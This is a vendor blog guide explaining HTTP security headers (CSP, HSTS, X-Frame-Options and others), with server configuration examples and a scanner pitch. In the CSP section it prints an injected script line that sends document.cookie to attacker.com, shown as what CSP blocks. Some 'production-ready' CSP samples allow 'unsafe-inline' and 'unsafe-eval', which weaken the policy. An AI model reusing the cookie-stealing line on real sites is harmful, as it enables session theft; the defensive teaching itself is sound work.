Security Headers Explained: CSP, HSTS and X-Frame-Options
Security headers explained: what CSP, HSTS, X-Frame-Options and Referrer-Policy do, with safe starting values and how to test them on your own live website.
Kazi Khalid Hasan Tamim · BugViso Team
16 min read
Security headers are HTTP response headers that tell the browser how to handle scripts, framing, transport and referrers.
Content-Security-Policy limits script sources against XSS. Strict-Transport-Security forces HTTPS. X-Frame-Options (or CSP frame-ancestors) blocks clickjacking.
TLS encrypts traffic but does not protect the page once it loads, so these headers are the next layer. Below are working configs for each header.
Transport Layer Security (TLS) encrypts data in transit between the client and server, but it does not protect the client-side execution sandbox.
Implementing security headers provides a critical layer of defense, instructing web browsers how to handle external scripts, restrict layout framing, enforce encrypted transport, and isolate document environments. Furthermore, search engines treat technical security hygiene as a fundamental prerequisite for domain trust and Page Experience evaluation.
For how often each header is actually deployed, see our security headers statistics for 2026, measured on 188 random homepages.
Security Headers Explained: The First Line of Browser Defense
When a web browser requests a page, the web server returns an HTTP response containing headers alongside the HTML payload. Standard response headers communicate caching directives (Cache-Control), content types (Content-Type), and server metadata.
HTTP security headers are specialized response directives that enforce strict operational boundaries on the browser's JavaScript execution engine, DOM rendering tree, and network communication channels.
| Header Name | Primary Security Vulnerability Solved |
|---|---|
Content-Security-Policy | Cross-Site Scripting (XSS) & Injections |
Strict-Transport-Security | SSL Stripping & Protocol Downgrade |
X-Frame-Options | UI Redressing & Clickjacking Attacks |
X-Content-Type-Options | MIME-Type Sniffing Exploits |
Referrer-Policy | Sensitive Path & Token Leaks in URL |
Permissions-Policy | Unauthorized Device Hardware Access |
+-------------------------------------------------------------------------+
| THE HTTP SECURITY RESPONSE PIPELINE |
| |
| [Client Browser Request: GET /dashboard] |
| | |
| v |
| [Web Server / Edge CDN] |
| | |
| +---> Injects Security Directives into HTTP Header Stream |
| - Strict-Transport-Security: max-age=63072000... |
| - Content-Security-Policy: default-src 'self'... |
| - X-Frame-Options: DENY |
| - X-Content-Type-Options: nosniff |
| | |
| v |
| [Browser Security Sandbox] |
| - Blocks unauthorized script hosts (Stops XSS) |
| - Refuses iframe embedding from external domains (Stops Clickjacking) |
| - Permanently forces HTTPS for all sub-requests (Stops Downgrades) |
+-------------------------------------------------------------------------+According to Google Search Central HTTPS guidelines, maintaining an authenticated, secure connection is foundational to technical SEO. While search crawlers index content across the web, search engine algorithms actively deprioritize sites that trigger browser security interstitials or suffer from exploitable vulnerabilities.
Content-Security-Policy (CSP): Mitigating Cross-Site Scripting (XSS) and Data Injections
Cross-Site Scripting (XSS) occurs when an attacker injects malicious JavaScript into a trusted web application. Once executed, the malicious script can steal session cookies, capture keystrokes, or exfiltrate private API tokens.
As the MDN Web Docs Content Security Policy (CSP) guide explains, the Content-Security-Policy header creates an allowlist of trusted sources. It covers scripts, styles, images, fonts and network connections.
Core Csp Directives & Their Protection Scope
- Directive | Protection & Resource Enforcement Scope
default-src| Fallback baseline for any unspecified directivesscript-src| Restricts authorized JavaScript execution domainsstyle-src| Controls approved CSS stylesheet originsimg-src| Restricts image download origins & data URIsconnect-src| Restricts Fetch, XHR, WebSocket, & EventSourcefont-src| Controls web font download endpointsobject-src| Restricts Flash, Java applets, & browser pluginsframe-ancestors| Controls which domains may embed the page (CSP v2)base-uri| Restricts<base>tag manipulation exploitsform-action| Restricts target URLs for form submissions
Modern CSP Architecture: Nonces vs Allowlist Domains
Modern single-page applications and web platforms frequently rely on cryptographic nonces (numbers used once) to authorize legitimate inline scripts while blocking injected payloads:
<!-- Server generates unique cryptographically random base64 nonce per request -->
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m12345' https://trusted-cdn.com; object-src 'none'; base-uri 'self';
<!-- Authorized Script (Executes normally) -->
<script nonce="rAnd0m12345">
console.log("Authorized application logic");
</script>
<!-- Injected Attacker Script (Blocked by Browser Sandbox) -->
<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
<!-- BROWSER CONSOLE: Refused to execute inline script because it violates CSP -->Safe Deployment via Content-Security-Policy-Report-Only
Deploying a strict CSP on an established enterprise codebase risks breaking legitimate analytics tools, tag managers, or dynamic widgets. Use the Content-Security-Policy-Report-Only header to monitor policy violations without blocking resources:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://analytics.google.com; report-uri /api/v1/csp-violations;Strict-Transport-Security (HSTS): Enforcing Encrypted HTTPS and Preventing SSL Stripping
Even when a website configures automatic 301 redirects from http:// to https://, an initial unencrypted HTTP request is still transmitted over the network before the redirect resolves.
During this initial roundtrip, an attacker on public Wi-Fi can run an SSL-stripping attack (with a tool like SSLstrip). The attacker intercepts the HTTP request, proxies it to the server over HTTPS, and serves plaintext HTTP back to the victim.
Per IETF RFC 6797 HTTP Strict Transport Security and the MDN Web Docs Strict-Transport-Security (HSTS) documentation, the Strict-Transport-Security header tells the browser never to make unencrypted HTTP requests to the domain for a set duration.
Hsts Connection Flow Vs Ssl Stripping
- WITHOUT HSTS (Vulnerable to SSL Stripping):
- [User types: example.com] → [Plaintext HTTP Request]
- [Attacker Intercepts]
- [User communicates via HTTP]
- WITH HSTS (Hardened Browser Direct Connection):
- [User types: example.com]
- [Browser checks local HSTS cache: max-age active]
- v (Internal 307 Redirect without network hop)
- [Direct Encrypted HTTPS Request to Server]
Production HSTS Configuration Breakdown
Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadmax-age=63072000: Directs the browser to cache this rule for two years (63,072,000 seconds).includeSubDomains: Applies the strict HTTPS rule to all subdomains (e.g.,api.example.com,auth.example.com).preload: Authorizes your domain for inclusion in the hardcoded Chromium HSTS Preload List (shared by Chrome, Firefox, Safari, and Edge), ensuring browsers connect via HTTPS even on the user's very first visit.
X-Frame-Options and Frame-Ancestors: Defending Against Clickjacking Attacks
Clickjacking (UI redressing) is a deceptive technique. An attacker loads your website inside a transparent or hidden <iframe>, positioned directly over a malicious button or link on an external page.
A user clicks what looks like a free gift or download button on the attacker's site. They are unknowingly clicking a confirmation button inside your authenticated application, such as "Delete Account", "Transfer Funds" or "Approve OAuth App".
Clickjacking (Ui Redressing) Mechanism
- The attacker page (
malicious-site.com) shows the user a visible button: "Click Here to Claim Your Free Voucher". - Above it sits a transparent hidden iframe (opacity 0.001) loading
https://your-saas.com/settings/transfer-ownership, with an overlay button "Confirm Transfer of Domain Ownership". - Protection via
X-Frame-Options: DENY: the browser refuses to renderyour-saas.cominside any iframe wrapper.
As specified in the MDN Web Docs X-Frame-Options header guide, you can control frame embedding using two standard directives:
/* Blocks framing across all domains including your own */
X-Frame-Options: DENY
/* Allows framing ONLY by pages on the exact same origin */
X-Frame-Options: SAMEORIGINModern Standard Note: In CSP Level 2 and Level 3, the
frame-ancestorsdirective supersedesX-Frame-Options. However, maintaining both headers ensures backward compatibility with legacy user agents:Content-Security-Policy: frame-ancestors 'self';
Secondary Essential Security Headers: MIME Sniffing and Referrer Privacy
In addition to the core trio of CSP, HSTS, and X-Frame-Options, modern security audits evaluate two supplementary headers:
| Header Name | Standard Value | Protection Mechanism |
|---|---|---|
X-Content-Type-Options | nosniff | Prevents MIME attacks |
Referrer-Policy | strict-origin-when- cross-origin | Protects URL tokens from third parties |
Permissions-Policy | camera=(), geo=() | Disables hardware |
1. X-Content-Type-Options: nosniff
Browsers attempt to "MIME-sniff" files to determine their content type. An attacker could upload a malicious executable disguised as an image (avatar.jpg containing JavaScript). Without nosniff, some browsers execute the payload. Setting X-Content-Type-Options: nosniff forces browsers to respect the server's declared Content-Type.
2. Referrer-Policy: strict-origin-when-cross-origin
When users click an external link, the browser sends the current URL in the Referer header. If your URLs contain sensitive query strings (/reset-password?token=secret123), external sites receive those credentials. The strict-origin-when-cross-origin policy transmits the full URL for same-origin requests, but strips the path down to the bare domain (https://example.com/) for cross-origin navigation.
Copy-Paste Server Configurations: Nginx, Apache, Caddy, and Next.js
Apply these production-ready configurations to enforce security headers across your infrastructure:
1. Nginx Configuration (nginx.conf or site block)
# Production Security Headers for Nginx
server {
listen 443 ssl http2;
server_name example.com;
# 1. HSTS (2 years + subdomains + preload)
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# 2. X-Frame-Options (Clickjacking defense)
add_header X-Frame-Options "SAMEORIGIN" always;
# 3. MIME-Sniffing Defense
add_header X-Content-Type-Options "nosniff" always;
# 4. Referrer Privacy
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# 5. Permissions Policy (Hardware restrictions)
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
# 6. Content Security Policy (Adjust origins for your CDNs)
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'self';" always;
# Application routing...
}2. Apache Configuration (.htaccess or httpd.conf)
<IfModule mod_headers.c>
# Enforce HSTS
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
# Enforce Frame Restrictions
Header always set X-Frame-Options "SAMEORIGIN"
# Prevent MIME Sniffing
Header always set X-Content-Type-Options "nosniff"
# Referrer Privacy
Header always set Referrer-Policy "strict-origin-when-cross-origin"
# Permissions Policy
Header always set Permissions-Policy "camera=(), microphone=(), geolocation=()"
# Content Security Policy
Header always set Content-Security-Policy "default-src 'self'; img-src 'self' data: https:; script-src 'self'; style-src 'self' 'unsafe-inline';"
</IfModule>3. Caddy Server Configuration (Caddyfile)
example.com {
header {
Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
X-Frame-Options "SAMEORIGIN"
X-Content-Type-Options "nosniff"
Referrer-Policy "strict-origin-when-cross-origin"
Permissions-Policy "camera=(), microphone=(), geolocation=()"
Content-Security-Policy "default-src 'self'; img-src 'self' data: https:; script-src 'self';"
}
reverse_proxy localhost:3000
}4. Next.js Configuration (next.config.js or next.config.mjs)
// next.config.mjs
const securityHeaders = [
{
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload',
},
{
key: 'X-Frame-Options',
value: 'SAMEORIGIN',
},
{
key: 'X-Content-Type-Options',
value: 'nosniff',
},
{
key: 'Referrer-Policy',
value: 'strict-origin-when-cross-origin',
},
{
key: 'Permissions-Policy',
value: 'camera=(), microphone=(), geolocation=()',
},
{
key: 'Content-Security-Policy',
value: "default-src 'self'; img-src 'self' data: https:; script-src 'self' 'unsafe-eval' 'unsafe-inline';",
},
];
export default {
async headers() {
return [
{
source: '/:path*',
headers: securityHeaders,
},
];
},
};How BugViso Audits Security Headers on Every Scan
Checking headers across staging and production by hand with curl is easy to get wrong. A BugViso scan runs a security audit that checks:
- HTTPS redirection: it probes the unencrypted
http://version of your domain to confirm it redirects to HTTPS. - Security headers: it inspects the scanned page's response headers for
Content-Security-Policy,Strict-Transport-SecurityandX-Frame-Options. - TLS certificate: it reports the certificate issuer, expiry date, days remaining and the negotiated TLS version, flagging a deprecated TLS 1.0 or 1.1 connection. A server can still accept legacy protocols that this check will not see, so test them separately.
- Fix list: findings are ranked with AI-written fixes, in the report and the branded PDF. For how security fits into a full audit, see our comparison of website security audit tools; beyond that, review our common website audit mistakes and how to read a website audit report.
The checks behind this are covered on the security and privacy audit page.
Common Security Header Misconfigurations and Rollout Pitfalls
Avoid these implementation traps when configuring security headers on production infrastructure:
| Anti-Pattern Trap | Production Consequence |
|---|---|
| Premature HSTS Preload | Bricks un-encrypted internal subdomains |
| Over-Restrictive CSP | Breaks third-party payment & analytics |
| Duplicate Headers | CDN edge + origin collision causes error |
Deprecated ALLOW-FROM | Modern browsers ignore obsolete syntax |
1. Preloading HSTS Before Subdomains Are Ready
Submitting a domain to the HSTS Preload List with includeSubDomains is irreversible without a lengthy removal process. If you have legacy internal subdomains (legacy-portal.example.com or staging.example.com) that do not yet support HTTPS, users will be permanently blocked from accessing them. Always test HSTS with lower max-age values (max-age=300) before increasing to two years.
2. Header Duplication Across Reverse Proxies
If both your edge CDN (e.g., Cloudflare) and your origin Nginx server inject X-Frame-Options: SAMEORIGIN, the browser receives X-Frame-Options: SAMEORIGIN, SAMEORIGIN, which can cause parsing errors in some browsers. Ensure headers are injected at exactly one architectural layer. If the edge is where you want headers to live, edge SEO at the CDN layer covers setting security headers from Cloudflare Workers and Vercel Edge Middleware.
Frequently Asked Questions About Security Headers
These are the questions teams ask most about security headers.
Do security headers directly improve organic search rankings?
Security headers are not direct algorithmic ranking factors like keywords or backlinks, but they protect the foundational infrastructure required for search visibility. Google explicitly uses HTTPS as a ranking signal, and security failures (such as malware injection via XSS or phishing overlays via clickjacking) result in immediate search de-indexing and browser security blacklisting.
What happens if I make a typo in my Content-Security-Policy?
If a CSP directive contains syntax errors or invalid hostnames, browsers will reject the malformed directive. In some cases, a broken directive can block all external assets (stylesheets, fonts, and scripts) from loading, breaking the visual layout and interactivity of the page. Always test CSP changes using Content-Security-Policy-Report-Only first.
Why is X-Frame-Options: ALLOW-FROM no longer recommended?
The ALLOW-FROM directive has been deprecated and is unsupported by modern evergreen browsers. To permit specific external domains to embed your pages in an iframe, use the modern CSP directive: Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com;.
Can I set security headers using HTML <meta> tags?
Some headers (like Content-Security-Policy) can be declared inside an HTML <meta http-equiv="Content-Security-Policy" content="..."> tag. However, critical headers like Strict-Transport-Security and X-Frame-Options are strictly ignored by browsers when declared in <meta> tags; they must be sent as HTTP response headers from the server.
Does adding security headers affect website page load speed?
No. Security headers add only a few dozen bytes to the initial HTTP response header payload, having virtually zero measurable impact on Time to First Byte (TTFB) or Core Web Vitals. To evaluate other factors that influence load speed, refer to our page speed optimization checklist.
Summary and Next Steps
HTTP security headers defend against client-side exploits. Enforce HTTPS with HSTS preloading, eliminate XSS execution vectors with Content-Security-Policy, and prevent clickjacking overlays with X-Frame-Options and frame-ancestors.
If you are choosing a scanner to verify them, our guide to the best website scan tool for each job separates header scanners from vulnerability and malware scanners.
Security headers and SSL certificates need ongoing monitoring across all your web properties. A BugViso scan checks your live TLS certificate, HTTPS redirection and security headers each time you run it.
Written by
Kazi Khalid Hasan Tamim · BugViso Team
Kazi writes BugViso’s guides on website audits, Core Web Vitals, technical SEO, accessibility and AI search. The data in them comes from audits BugViso runs in a real Chromium browser, including our 219-site study of website health.
Summarise with AI
Open this guide in your assistant.
Follow BugViso
New guides and audit data as we publish them.
AI visibility tracker
Is your brand in AI answers?
See how often AI assistants mention you, cite your site and rank you against your competitors.
- ChatGPT
- Gemini
- Perplexity
- Claude
- AI Overviews
See where your site stands
Run a free BugViso audit for SEO, speed, accessibility and AI search readiness — with fixes you can ship today.